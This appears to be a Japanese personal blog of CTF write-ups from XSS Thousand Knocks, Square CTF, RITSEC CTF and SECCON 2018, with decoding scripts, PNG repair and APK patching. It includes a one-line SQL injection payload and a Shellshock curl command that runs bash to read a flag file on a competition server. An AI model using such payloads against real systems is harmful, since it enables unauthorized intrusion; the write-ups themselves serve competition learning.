眠気

戯言とメモ

XSS Thousand Knocks writeup

前回の流れで こちらをやっていました。

現状出ている34問分が終わったのと、writeupが公開可なようだったのでついでに上げてみました。

25までの解答が消えてしまいこれを書くにあたって解き直していたので、cookie送信先が変わってるのはそのせいです。

途中unicodeエンコーディングでかなりゴリ押ししてしまったので後でちゃんと解きたい…

gist.github.com

https://knock.xss.moe

writeup

いくつか参加して簡単な問題だけ解いてました。

Square CTF

ratingがスゴかった…

dot-n-dash

メチャクチャ雑にデコード処理を書いた

function _decode(input) {
  let q = input.split(".").map(a=>a.length)
  let b = Array(Math.max.apply(null, q)).fill("0");
  q.map(a=>{
    b[a] = "1";
  })
  let s = b.reverse().join("")
  let res = ""
  for(let i=0;i<b.length/8;i++){
    let bin = s.substr(i*8,7)
    res += String.fromCharCode(parseInt(bin, 2))
  }
  return res;
}

de-anonymization

メチャクチャ雑にcsvをくっつける処理を書いた solv.rb · GitHub

RITSEC CTF

I am a Stegosaurus

pngcheckしておかしいところを直す

$ docker run -it --rm -v $(pwd)/data:/data dominicbreuker/stego-toolkit /bin/bash

root@9607f1955a31:/data# pngcheck -v stegosaurus.png
File: stegosaurus.png (198269 bytes)
  chunk IHDR at offset 0x0000c, length 13
    309 x 232 image, 24-bit RGB, non-interlaced
  CRC error in chunk IHDR (computed 01aae416, expected 93cf1eca)
ERRORS DETECTED in stegosaurus.png


$> hexdump data/stegosaurusのコピー.png | head
0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 93 cf 1e
0000020 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00

$> hexdump data/stegosaurusのコピー.png | head
0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 01 aa e4
0000020 16 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00

Special Force

sqli

' or 1 = 1 ; -- '

What a cute dog!

shellshock

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

writeup

色々あって色々アレでした。

一度も更新しないまま2018年も終わりかけているのでとりあえず…


SECCON 2018 Online CTF

参加してました

チームで参加したため、自分として解けた問題がとても少ないですが

以下writeupです。

Runme

こういう、stringsではflagは見えないけどバイナリに平文でフラグが置いてるやつかどうかを確認するスクリプト

以前適当に書いていたので、

とりあえず実行したらありそうだったので、objdumpしてフラグっぽい部分をawkしただけでした。

$ cat megrep.rb
b = STDIN.read.scrub('')
d = b.split('').select{|b|b =~ /^[a-zA-Z0-9{}_]+$/}
flagType = "SECCON".split("")
res = ""
100.times do |i|
    reg =Regexp.new flagType.map{|t| "#{t}.{0,#{i.to_s}}"}.join("") + "\\{(\\w+)\\}"
    if r = d.join("").match(reg)
        puts "Detect flag!!!"
        p r[0]
        return
    end
end

$ cat runme.exe | ruby megrep.rb
Detect flag!!!
"SUVMU9UBRjEUVMU9UBRjCUVMU9UBRjCUVMU9UBRjOUVMU9mUBRjNUVMU9AUBRj{UVMU9UBRjRUVMU9UBRjuUVMU9UBRjnUVMU9UBRjnUVMU9eUBRj1UVMU99UBRjnUVMU9UBRj6UVMU9UBRj_UVMU9UBRjPUVMU9UBRj4UVMU9ua0UBRj7UVMU9u91UBRjhUVMU9u2UBRj}"
objdump -d runme.exe | awk '/6a /{printf "%c",strtonum("0x"$3)}'
"@C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}@%

フラグ出すところまで自動化したいけど、あんまり使い道がないので放置…

block

apkのdllをいじるだけ。

ildasmで以下の部分を編集 f:id:lailaiskyn:20181102190949p:plain

Transform以下にVector3を引数に取るやつを探すとTranslateがあるので変えてdllに変換

Unity - Scripting API: Transform

msilの編集は以下が参考になります

qiita.com

あとはAPK Editorでdllを変えたapkをインストールして実行

手前に飛んでくるフラグをスクショを取りまくって確認していました。

f:id:lailaiskyn:20181102192033j:plain

shooter

il2cppキツイなあと思い、global-metadata.datを眺めてただけ。

http://staging.shooter.pwn.seccon.jp/adminSQL injectionがあることまでは分かっていたけど、

web問じゃないし流石にないか…とか思ってたら終わった…阿呆でした

解けたweb問が解けなかったのをとても反省した…

来年はもうちょっと解けるようにしたい。

そんな希望